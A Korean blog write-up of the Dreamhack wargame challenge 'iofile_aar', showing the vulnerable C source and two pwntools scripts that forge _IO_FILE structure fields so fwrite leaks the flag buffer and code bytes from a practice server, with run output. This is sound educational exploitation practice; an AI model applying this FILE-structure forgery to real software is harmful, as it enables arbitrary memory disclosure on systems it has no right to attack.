_IO_FILE Arbitrary Address Read

2022. 8. 16. 20:52·Wargame/Dreamhack
728x90
반응형

1. intro

 

2. code 및 분석

2.1  code

// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie 

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
        FILE *fp;
        fp = fopen("/home/iofile_aar/flag", "r");
        fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
        fclose(fp);
}

int main() {
  const char *data = "TEST FILE!";

  init();
  read_flag();

  fp = fopen("/tmp/testfile", "w");

  printf("Data: ");

  read(0, fp, 300);

  fwrite(data, sizeof(char), sizeof(flag_buf), fp);
  fclose(fp);
}

2.2 분석

파일을 열어보면 여러 파일이 있는데, 실행파일 및 코드 파일 외에는 크게 신경쓰지는 않아도 될 것 같다.

물론 일반적이라면 (그럴리는 없겠지만) libc 파일에 따라 _IO_FILE 구조체의 형식이라던지 write 함수 호출 과정이 다를 수 있기에 확인할 필요는 있을 것 같다.

이 문제에서는 이를 무시하고 코드만 분석하자.

 

전역 변수로 flag_buf 변수를 선언한다.

read_flag 함수에서는 flag_buf 변수의 크기만큼 flag 파일을 읽어 flag_buf 변수에 저장한다.

main 함수에서는 read_flag 함수를 호출한 뒤, testfile을 열고, 300 byte의 데이터를 입력 받은 뒤 flag_buf 변수의 크기만큼 값을 쓴다.

 

3. 취약점 확인 및 공격 준비

3.1 취약점

취약점은 main 함수의 read 함수에서 발생하며, 파일 포인터에 300 byte 만큼의 값을 덮어씌울 수 있기에 _IO_FIULE 구조체를 조작할 수 있게 되며, 해당 구조체를 참조로 fwrite 함수를 실행한다.

조작 방법은 아래 링크 참조.

https://wyv3rn.tistory.com/110

 

_IO_FILE Arbitrary Address Read

원리 여러개의 파일을 열지만 읽기 권한이 없는 경우, 예를 들어 관리자가 작성한 암호 파일과 유저가 작성한 파일을 열어 그 내용을 비교한다고 가정할 때 관리자 파일에 읽기 권한이 없는 경

wyv3rn.tistory.com

 

3.2 공격 준비

위 링크를 토대로 공격을 준비하면 된다.

특별히 구해야 할 값은 없다.

 

4. exploit

링크를 토대로 페이로드를 작성해보면 아래와 같다.

from pwn import *

p = remote('host3.dreamhack.games',18848)
#p = process('./iofile_aar')
e = ELF('./iofile_aar')

addr = e.symbols['flag_buf']

pay = b''
pay += p64(0xfbad0800) #flags
pay += p64(0) #read ptr
pay += p64(addr) #read end
pay += p64(0) #read base
pay += p64(addr) #write base
pay += p64(addr + 100) #write ptr
pay += p64(0) #write end
pay += p64(0) #buf base
pay += p64(0) #buf end
pay += p64(0) #save base
pay += p64(0) #backup base
pay += p64(0) #save end
pay += p64(0) #marker
pay += p64(0) #chain
pay += p64(1) #fileno

p.sendlineafter('Data: ',pay)
p.interactive()

 

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 18848: Done
[*] '/home/kali/Downloads/iofile_aar'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
DH{----------#플래그는 삭제}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00EST FILE!\x00\x00tmp/testfile\x00ata: \x00\x00\x1b\x03L\x00\x00\x00\x00\xfc\xff\xff\xa8\x00\xfd\xff\xffh\x00\xfd\xff\xff\x94\x00\xfe\xff\xff\xd0\x00J\xfe\xff\xff\xf0\x95\xfe\xff\xff\x10\x00@\xff\xff\xff0\x00\xb0\xff\xff\xffx\x00\x00\x00\x14\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x07\x10\x00\x1c\x00\xb0\xfc\xff\xff+\x00\x00\x00\x00\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x00\x10\x00\x1c\x00\xb4\xfc\xff\xff\x00\x00\x00\x00\x00\x00\x00\xfb\xff\xff\x80\x00\x\x06\x9c\x0\x00D\x00\x00\x00\x00\xfe\xff\xffe\x00\x00B\x0e\x8fB\x0e\x8e\x03\x0e\x8d\x04\x0e\x8c\x05\x0e\x86\x06\x0e\x83\x07\x0er\x0eA\x0eA\x0eB\x0eB\x0eB\x0eB\x0e\x00\x00\x00\x000\xfe\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive

 

* 참고사항

이번에는 출력되는 주소를 전역변수의 주소로 설정하였는데 만일 main과 같은 함수의 주소로 변경하면 어떻게 될까?

그 결과는 아래와 같이 함수의 주소 leak이 가능함을 알 수 있다.

from pwn import *

p = remote('host3.dreamhack.games',18848)
#p = process('./iofile_aar')
e = ELF('./iofile_aar')

addr = e.symbols['main']

pay = b''
pay += p64(0xfbad0800) #flags
pay += p64(0) #read ptr
pay += p64(addr) #read end
pay += p64(0) #read base
pay += p64(addr) #write base
pay += p64(addr + 8) #write ptr
pay += p64(0) #write end
pay += p64(0) #buf base
pay += p64(0) #buf end
pay += p64(0) #save base
pay += p64(0) #backup base
pay += p64(0) #save end
pay += p64(0) #marker
pay += p64(0) #chain
pay += p64(1) #fileno

p.sendlineafter('Data: ',pay)
p.interactive()

 

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 18848: Done
[*] '/home/kali/Downloads/iofile_aar'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
UH\x89\xe5H\x83\xecTEST FILE!\x00\x00tmp/testfile\x00ata: \x00\x00\x1b\x03L\x00\x00\x00\x00\xfc\xff\xff\xa8\x00\xfd\xff\xffh\x00\xfd\xff\xff\x94\x00\xfe\xff\xff\xd0\x00J\xfe\xff\xff\xf0\x95\xfe\xff\xff\x10\x00@\xff\xff\xff0\x00\xb0\xff\xff\xffx\x00\x00\x00\x14\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x07\x10\x00\x1c\x00\xb0\xfc\xff\xff+\x00\x00\x00\x00\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x00\x10\x00\x1c\x00\xb4\xfc\xff\xff\x00\x00\x00\x00\x00\x00\x00\xfb\xff\xff\x8\x06\x9c\x0\x00D\x00\x00\x00\x00\xfe\xff\xffe\x00\x00B\x0e\x8fB\x0e\x8e\x03\x0e\x8d\x04\x0e\x8c\x05\x0e\x86\x06\x0e\x83\x07\x0er\x0eA\x0eA\x0eB\x0eB\x0eB\x0eB\x0e\x00\x00\x00\x000\xfe\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

더불어 main 함수 주소 이후 TEST FILE! 문자열과 함께 그 경로가 출력되었는데, gdb로 값들을 찾아보면 해당 내용은 코드 영역임을 알 수 있다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

Bypass IO_validate_vtable  (0) 2022.08.17
_IO_FILE Arbitrary Address Write  (0) 2022.08.16
send_sig  (0) 2022.08.16
SigReturn-Oriented Programming  (0) 2022.08.15
rtld  (0) 2022.08.15
'Wargame/Dreamhack' 카테고리의 다른 글
  • Bypass IO_validate_vtable
  • _IO_FILE Arbitrary Address Write
  • send_sig
  • SigReturn-Oriented Programming
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (559)
      • To do list (0)
        • Doing (1)
        • Complete (6)
      • Diary (37)
      • Tips & theory (77)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (352)
        • Dreamhack (183)
        • pwn.college (37)
        • pwnable.tw (0)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (50)
        • Solved (48)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    phoenix
    heap
    root
    root-me
    x64
    vtable
    Format String Bug
    la ctf
    x86
    32bit
    lob
    exploit education
    hackerschool
    dreamhack
    docker
    pwnable.kr
    BOF
    Buffer Overflow
    pwntools
    tcache
    ROOT ME
    RTL
    libc
    64bit
    _IO_FILE
    cryptohack
    CANARY
    FSB
    rop
    Me
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
_IO_FILE Arbitrary Address Read
상단으로

티스토리툴바